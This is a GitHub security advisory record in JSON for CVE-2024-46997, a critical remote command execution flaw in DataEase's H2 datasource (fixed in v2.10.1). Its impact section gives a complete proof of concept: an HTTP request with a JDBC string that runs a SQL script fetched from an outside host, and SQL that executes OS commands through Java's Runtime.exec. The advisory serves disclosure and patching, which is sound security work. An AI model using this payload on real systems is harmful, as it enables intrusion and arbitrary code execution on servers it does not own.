{"id":"GHSA-h7mj-m72h-qm8w","summary":"DataEase's H2 datasource has a remote command execution risk","details":"### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n    \"id\": \"\",\n    \"name\": \"test\",\n    \"type\": \"h2\",\n    \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n    \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}';CALL EXEC ('touch /tmp/jdbch2rce')\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: \u003c= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n","aliases":["CVE-2024-46997"],"modified":"2024-09-23T20:42:21.894025Z","published":"2024-09-23T20:27:11Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2024-09-23T20:27:11Z","nvd_published_at":"2024-09-23T16:15:06Z","cwe_ids":["CWE-74"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-46997"},{"type":"PACKAGE","url":"https://github.com/dataease/dataease"}],"affected":[{"package":{"name":"io.dataease:common","ecosystem":"Maven","purl":"pkg:maven/io.dataease/common"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.10.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-h7mj-m72h-qm8w/GHSA-h7mj-m72h-qm8w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}